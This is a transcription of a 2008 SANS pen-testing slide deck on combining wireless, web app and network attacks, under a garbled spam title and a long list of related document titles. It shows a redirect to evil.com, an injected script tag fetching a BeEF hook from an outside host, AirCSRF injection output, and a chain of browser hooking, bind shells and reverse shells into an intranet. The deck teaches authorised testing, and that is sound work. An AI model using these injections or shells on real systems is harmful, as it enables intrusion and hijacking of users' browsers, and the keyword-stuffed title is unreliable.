How To Hack A Network With A Network Security Attack On A Web Browser (For A Free Download) (For Free) ( For A Free) On A Network) (On A Free Downloaded) (Or For A Paid Download) On An Ip



Similar documents
The Pen Test Perfect Storm: Combining Network, Web App, and Wireless Pen Test Techniques Part 2

The Pen Test Perfect Storm: Combining Network, Web App, and Wireless Pen Test Techniques Part 2

How We're Getting Creamed

Ethical Hacking as a Professional Penetration Testing Technique

Penetration Testing Ninjitsu 2: Crouching Netcat, Hidden Vulnerabilities. By Ed Skoudis

Pen Testing Perfect Storm Part , InGuardians 1

The Pen Test Perfect Storm: We Love Microsoft! Pen Test Techniques Part 4

Learn Ethical Hacking, Become a Pentester

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

Topics in Network Security

ETHICAL HACKING APPLICATIO WIRELESS110 00NETWORK APPLICATION MOBILE MOBILE0001

McAfee Certified Assessment Specialist Network


Vulnerability Assessment and Penetration Testing

What is Web Security? Motivation

Exam Questions SY0-401

CYBERTRON NETWORK SOLUTIONS

Automated Penetration Testing with the Metasploit Framework. NEO Information Security Forum March 19, 2008

The Pen Test Perfect Storm Part 5: We Love Adobe!

Application security testing: Protecting your application and data

Web application security

STABLE & SECURE BANK lab writeup. Page 1 of 21

Penetration Testing with Kali Linux

SAP: Session (Fixation) Attacks and Protections

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Rational AppScan & Ounce Products

(WAPT) Web Application Penetration Testing

Pwning Intranets with HTML5

The Top Web Application Attacks: Are you vulnerable?

Overview of Network Security The need for network security Desirable security properties Common vulnerabilities Security policy designs

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Network Security Fundamentals

Security Threat Kill Chain What log data would you need to identify an APT and perform forensic analysis?

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Web Request Routing. Technical Brief. What s the best option for your web security deployment?

Course Duration: 80Hrs. Course Fee: INR (Certification Lab Exam Cost 2 Attempts)

APNIC elearning: Network Security Fundamentals. 20 March :30 pm Brisbane Time (GMT+10)

Certified Ethical Hacker Exam Version Comparison. Version Comparison

HackMiami Web Application Scanner 2013 PwnOff

Network Penetration Testing and Ethical Hacking Scanning/Penetration Testing. SANS Security Sans Mentor: Daryl Fallin

2016 TÜBİTAK BİLGEM Cyber Security Institute

INFORMATION SECURITY TRAINING CATALOG (2016)

Web Security Testing Cookbook*

Application Security Best Practices. Wally LEE Principal Consultant

The Security Development Life Cycle

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.

Wireless Security Overview. Ann Geyer Partner, Tunitas Group Chair, Mobile Healthcare Alliance

Penetration Testing Walkthrough

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Testing the OWASP Top 10 Security Issues

Reverse Shells Enable Attackers To Operate From Your Network. Richard Hammer August 2006

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

How to hack a website with Metasploit

Attack and Penetration Testing 101

Hack Proof Your Webapps

Web Application Firewall

RMAR Technologies Pvt. Ltd.

Kautilya: Teensy beyond shells

Using Nessus In Web Application Vulnerability Assessments

INFORMATION SECURITY TRAINING CATALOG (2015)

Penetration Test JSPLC. Contact: James, APS (CCNA, CEH) mail.biz

Audience. Pre-Requisites

How To Use Powerhell For Security Research

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Ethical Hacking Course Layout

EECS 398 Project 2: Classic Web Vulnerabilities

Where every interaction matters.

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Web application security: automated scanning versus manual penetration testing.

Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins

Network Access Security. Lesson 10

CS 558 Internet Systems and Technologies

I Hunt Penetration Testers!

Newsletter - September T o o l s W a t c h T e a m NJ OUCHN & MJ SOLER

Chapter 1 Web Application (In)security 1

Administrator Guide. v 11

KEVIN CARDWELL. Q/SA (Qualified Security Analyst) Penetration Tester. & Optional Q/PTL (Qualified Penetration Licence) Workshop

Penetration Testing Report Client: Business Solutions June 15 th 2015

Penetration Testing Scope Factors

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Build Your Own Security Lab

Port Scanning. Objectives. Introduction: Port Scanning. 1. Introduce the techniques of port scanning. 2. Use port scanning audit tools such as Nmap.

Metasploit ing the target machine is a fascinating subject to all security professionals. The rich list of exploit codes and other handy modules of

Penetration Testing: Lessons from the Field

Ethical Hacking and Information Security. Foundation of Information Security. Detailed Module. Duration. Lecture with Hands On Session: 90 Hours

Attacking Automatic Wireless Network Selection. Dino A. Dai Zovi and Shane A. Macaulay

1. LAB SNIFFING LAB ID: 10

Web App Security Audit Services

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Exploiting Transparent User Identification Systems

Evading Infrastructure Security Mohamed Bedewi Penetration Testing Consultant

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Transcription:

The Pen Test Perfect Storm: Combining Network, Web App, and Wireless Pen Test Techniques Part I Kevin Johnson, InGuardians Ed Skoudis, InGuardians Joshua Wright, InGuardians Copyright 2008, All Rights Reserved Version 4Q08 Combined Pen Testing - 2008, All Rights Reserved 1

Outline Penetration Testing Specialization But Wait Example of Combined Attack Conclusions Q&A Combined Pen Tests - 2008, All Rights Reserved 2

Categories of Penetration Testing Penetration tests are often separated into different types 1) Network penetration tests Name is a bit ambiguous, but widely used 2) Web application penetration tests 3) Wireless penetration tests 4) Social engineering tests 5) Physical penetration tests Others, but those are the biggies Let s focus on 1, 2, and 3 Combined Pen Tests - 2008, All Rights Reserved 3

Penetration Test Specialization Given that test scopes are often broken down into those categories and the skill sets for each category are rather different Most penetration testers choose one of these areas to focus on They may minor in another area, but most focus significantly on a major area Hi, I m a web app pen test guy Hi, I m a network pen test guy Hi, I m a wireless pen test guy This specialization is good a sign of a healthy, robust, and growing industry Combined Pen Tests - 2008, All Rights Reserved 4

Dealing With Specialization If you want to be a good pen tester, pick one of these categories and focus on it Build your skills, zooming in on the finegrained aspects of that kind of test We ll provide tips for improving your skills in the three big categories later If you want to procure good pen tests, make sure you get each of these types of tests performed Combined Pen Tests - 2008, All Rights Reserved 5

Outline Penetration Testing Specialization But Wait Example of Combined Attack Preparing for Combined Tests Conclusions Q&A Combined Pen Tests - 2008, All Rights Reserved 6

Not So Fast Over specialization has some significant problems: From a tester s perspective, being pigeon-holed careerwise From an enterprise perspective, missing huge sets of vulnerabilities from the other side But, perhaps most important, missing out on the risk posed by combined attacks As pen testers our job is to determine business risks by modeling, to the extent possible, the activities of real-world attackers Without taking a combined approach into account during testing, it can be difficult or impossible to determine and explain the true business risk associated with vulnerabilities Combined Pen Tests - 2008, All Rights Reserved 7

But, Doesn t Everyone Test This Way? Some of you are thinking that a combined approach is common Perhaps you are thinking about an example like this: A pen tester finds a rogue access point and gets access to the intranet The tester ping sweeps and port scans, finding an intranet web app On the internal web app, the tester finds a directory traversal flaw to read /etc/passwd, getting a list of users (not passwords) The tester then launches a password guessing attack via ssh, determines the password for an account, and then logs in with command shell access Doesn t everyone do this as part of a wireless test? No And, this example only scratches the surface we re talking about going very much deeper to discern the true risk Consider using the new-found ssh access to launch a local priv escalation attack to get UID 0 on the box Then, on the intranet web server, add content that includes browser scripts to run on admin browsers that surf there Then, use those browsers to well, let s not get ahead of ourselves Combined Pen Tests - 2008, All Rights Reserved 8

Outline Penetration Testing Specialization But Wait Example of Combined Attack Preparing for Combined Tests Conclusions Q&A Combined Pen Tests - 2008, All Rights Reserved 9

Guest Wireless Networks Many enterprises deploy wireless networks specifically for use by guests Conference rooms Front entrance waiting rooms Most guest networks have no encryption Even if the traffic is encrypted, attacker could try to break the crypto key Aircrack-ng, Cowpatty, etc. Sometimes, legitimate internal users rely on guest networks for a short period of time Mostly for convenience Combined Pen Tests - 2008, All Rights Reserved 10

Wireless Traffic Manipulation Pen-tester can manipulate clients on an open AP Impersonating responses, or requests Victim Pen Tester AP Google Internal Network Internet Time 172.16.0.1:1025 www.google.com:80 SYN 172.16.0.1:1025 www.google.com:80 SYN/ACK 172.16.0.1:1025 www.google.com:80 ACK 172.16.0.1:1025 www.google.com:80 GET HTTP/1.1\r\n 172.16.0.1:1025 www.google.com:80 302 REDIRECT evil.com 172.16.0.1:1025 www.google.com:80 200 OK Combined Pen Tests - 2008, All Rights Reserved 11

Traffic Manipulation Opportunities DNS spoofing inform victim that legitimate domain name maps to attacker s IP address Unencrypted session manipulation (telnet, ftp, other legacy) HTTP response manipulation Responding before legitimate site with HTTP 302 REDIRECT Responding after legitimate site, adding to HTTP response Combined Pen Tests - 2008, All Rights Reserved 12

Manipulating HTTP Responses WWW 3. Site sends legitimate response AP 1. Victim makes HTTP GET request to any web site Victim 2. Pen Tester spoofs server appending additional content to HTTP response <script language='javascript' src='http://foo/beef/hook/be efmagic.js.php'></script> Pen Tester Combined Pen Tests - 2008, All Rights Reserved 13

AirCSRF ( Air, Sea, Surf ) Not-yet-released tool from Garland Glessner Automating wireless injection for XSS # cat aircsrf.conf Host: www.myvictim.com Name: Example AirCSRF Desc: Injects HTML below Stat: 1 Html: <script language= 'Javascript' src='http://1.2.3.4/ beef/hook/beefmagic.js.php'> </script> #./aircsrf -i wifi0 -r madwifing aircsrf v1.21 Detected: IEEE802.11 Headers Loading./aircsrf.conf ----------------------------------- 0013ce5598ef INJECT for www.myvictim.com with CSRF payload of: <script language='javascript' src='http://1.2.3.4/beef/hook/beefm agic.js.php'></script> 0013ce5598ef took the bait for 10.10.10.10 (www.myvictim.com) Combined Pen Tests - 2008, All Rights Reserved 14

Cross-Site Scripting Note that we ve injected a response that will direct the browser to fetch Javascript associated with BeEF A specialized browser script attack tool Most wireless and network pen testers usually ignore XSS That s just a web app thing why would a network or wireless pen tester care about it? But, XSS provides enormous access within a network Hooking browsers to pivot into the network Using browsers to exploit other services Combined Pen Tests - 2008, All Rights Reserved 15

Using XSS to Pivot into a Network Client machines provide new and exciting viewpoints to wireless and network penetration testers From the vantage point of a script inside a victim browser Browsers running an attacker s script can: Port scan a network Identify administrator machines Query browser history for links to known admin pages For example, consider VPN administrator URLs in browser history, which we can query for We can even look in browser history for pages accessed postauthentication Perform web vulnerability scans Reconfigure appliances and devices Deliver exploits to other servers the sky s the limit here! Combined Pen Tests - 2008, All Rights Reserved 16

Let s Look at a Scenario Suppose that a pen tester is evaluating the security of wireless networks in a pen test with a scope that includes combined attacks Pen tester discovers a wireless network set up for guest access from a conference room A legit administrator is using the guest wireless network temporarily Pen tester could hook that admin user s browser controlling it for all kinds of additional access Combined Pen Tests - 2008, All Rights Reserved 17

Internal Client Browser Used to Admin Important Systems Web Server Internal Server DNS Internet Target Network AP Firewall Infrastructure 0. Wireline client admins internal servers later it will go wireless Admin Client BeEF Controller Combined Pen Tests - 2008, All Rights Reserved 18

Use Wireless to Hook Browser Web Server Internal Server DNS AP Internet Firewall Infrastructure Target Network 1. Client uses guest wireless network to access anything BeEF Controller 1 & 2: Wireless pen test stuff 2. Attacker uses AirCSRF to inject BeEF XSS stub in response Admin Client Combined Pen Tests - 2008, All Rights Reserved 19

Control Browser and Fetch History Web Server Internal Server DNS Internet 4. Attacker accesses BeEF controller Firewall Infrastructure Target Network AP 3. Browser reports to BeEF controller BeEF Controller 5. BeEF with additional scripts harvests browser s history including links of browser-managed internal apps 3, 4, & 5: Web app pen test stuff Client Combined Pen Tests - 2008, All Rights Reserved 20

Using Hooked Browsers to Attack Other Targets Many protocols are forgiving They will ignore "junk" and HTTP request headers are often considered junk! BeEF allows for exploitation across protocols From a hooked browser running attacker s scripts, we can direct HTTP requests to target servers And possibly other protocols besides HTTP: FTP, RDP, VNC, SMB, etc. Payload of HTTP request is a service-side exploit, to be delivered from hooked browser to target server (possibly on intranet) BeEF injects a BindShell as an exploit payload Pen tester interacts with the shell Through BeEF controller application Controller runs on pen tester's server Combined Pen Tests - 2008, All Rights Reserved 21

Use Hooked Browser to Exploit Intranet Server 8 8. Send shell commands to execute on internal server 6 Web Server DNS Internal Server AP Internet 6. Attacker uses BeEF controller to tell victim browser to exploit internal server Firewall Infrastructure Target Network 7. Exploit internal server BeEF Controller 6, 7, & 8: Network pen test stuff Client Combined Pen Tests - 2008, All Rights Reserved 22

BeEF Exploit Module Interface Additional exploit modules can be added from Metasploit. Combined Pen Tests - 2008, All Rights Reserved 23

BeEF BindShell Interface Combined Pen Tests - 2008, All Rights Reserved 24

Use Shell on Internal Server to Attack Rest of Infrastructure 10. Use reliable reverse shell to tell system to scan internal network Web Server DNS Internal Server AP Internet 9. Send shell commands to get direct reverse shell access Firewall Infrastructure 11. Scan and exploit internal network BeEF Controller 9 & 10: Network pen test stuff 11 and beyond: Web app, network whatever Client Combined Pen Tests - 2008, All Rights Reserved 25

Outline Penetration Testing Specialization But Wait Example of Combined Attack Preparing for Combined Tests Conclusions Q&A Combined Pen Tests - 2008, All Rights Reserved 26

Dealing With Specialization REDUX If you want to be a great pen tester, make sure you can pivot between network pen tests, web app tests, and wireless pen tests Furthermore, integrate these attack vectors together into a combined attack If you want to procure great pen tests, make sure you explicitly require combined tests in the scope And, make sure testers present findings in terms of the business risk of combined attack vectors Combined Pen Tests - 2008, All Rights Reserved 27

Getting Up to Speed On Wireless Pen Testing Get to know the protocols 802.11 (alphabet soup and MAC), 802.1X, EAP, RADIUS Know how to identify WPA, WPA2, WEP Wireshark is your BFF here (but not for Paris Hilton) Get to know attack tools and how they function Kismet, Metasploit, LORCON, Aircrack-ng, KARMA, Cowpatty, Very limited commercial tools for wireless pen-testing Get to know client functionality XP, Vista, and third-party clients all behave differently Did we mention Bluetooth, ZigBee, WiMax, RFID, proprietary,? Combined Pen Tests - 2008, All Rights Reserved 28

Getting Up to Speed On Network Pen Testing Get to know protocols TCP/IP, HTTP, SSL, LDAP, NetBIOS, SMB, 802.11, 802.1X, EAP Get to know command-lines and scripting within operating systems Cmd.exe (Painful we know we really really do) Bash Perl or Python or Ruby Get to know administration features of operating systems Windows, Linux, Unix Get to know exploitation tools and how exploits function Metasploit, Core IMPACT, Immunity Canvas Get to know how exploits and tools work and the languages that they are often written in C, C++, x86 Assembly Combined Pen Tests - 2008, All Rights Reserved 29

Getting Up to Speed On Web App Pen Testing Get to know the protocols HTTP and HTTPS (possibly others, depending on the application) Get to know various server-side scripting language ASP/.NET, Java, PHP, Cold Fusion, Perl, Ruby Basic web app development understanding Administration understanding Get to know client functionality Browsers and other third-party client software History, caching, cross-domain content restrictions, etc. Get to know client-side languages JavaScript, Flex, VBscript (did we mention painful?) Combined Pen Tests - 2008, All Rights Reserved 30

Outline Penetration Testing Specialization But Wait Example of Combined Tests Preparing for Combined Tests Conclusions Q&A Combined Pen Tests - 2008, All Rights Reserved 31

Conclusions Combined attack vectors allow for far deeper penetration into most target networks than separate vectors allow Combining web app, network, and wireless penetration testing is very powerful This combination provides a much more accurate view of the business risks posed by vulnerabilities than offered by completely separate network, wireless, and web app tests Consider pairing up people with complementary skills for tests We ve gone over one attack vector (guest wireless) and two tools (AirCSRF and BeEF) here In Parts II and III, we ll look at additional attack vectors and tools for further combining these three disciplines Combined Pen Tests - 2008, All Rights Reserved 32

Upcoming In-Depth SANS Pen Test Courses SANS 560: Network Pen Testing and Ethical Hacking Monterey, CA, Oct 31: Galbraith Eatontown, NJ, Nov 3: Skoudis San Antonio, TX, Nov 8: Conrad Washington DC, Dec 11: Skoudis Jan-March: SANS@Home, 1 to 4 PM EST: Skoudis SANS 542: Web App Pen Testing and Ethical Hacking Washington DC, Dec 11: Johnson Vegas, Jan 26: Johnson SANS 617: Wireless Ethical Hacking, Pen Testing, and Defenses Washington DC, Dec 11: Luallen Orlando, FL, March 2: Wright Combined Pen Tests - 2008, All Rights Reserved 33

Outline Penetration Testing Specialization But Wait Example of Combined Tests Preparing for Combined Tests Conclusions Q&A Combined Pen Tests - 2008, All Rights Reserved 34

Questions? Follow-up discussion over the next week at the Ethical Hacker Network www.ethicalhacker.net Look for Special Events under Forum Kevin, Ed, and Josh will participate in the discussion thread periodically Combined Pen Tests - 2008, All Rights Reserved 35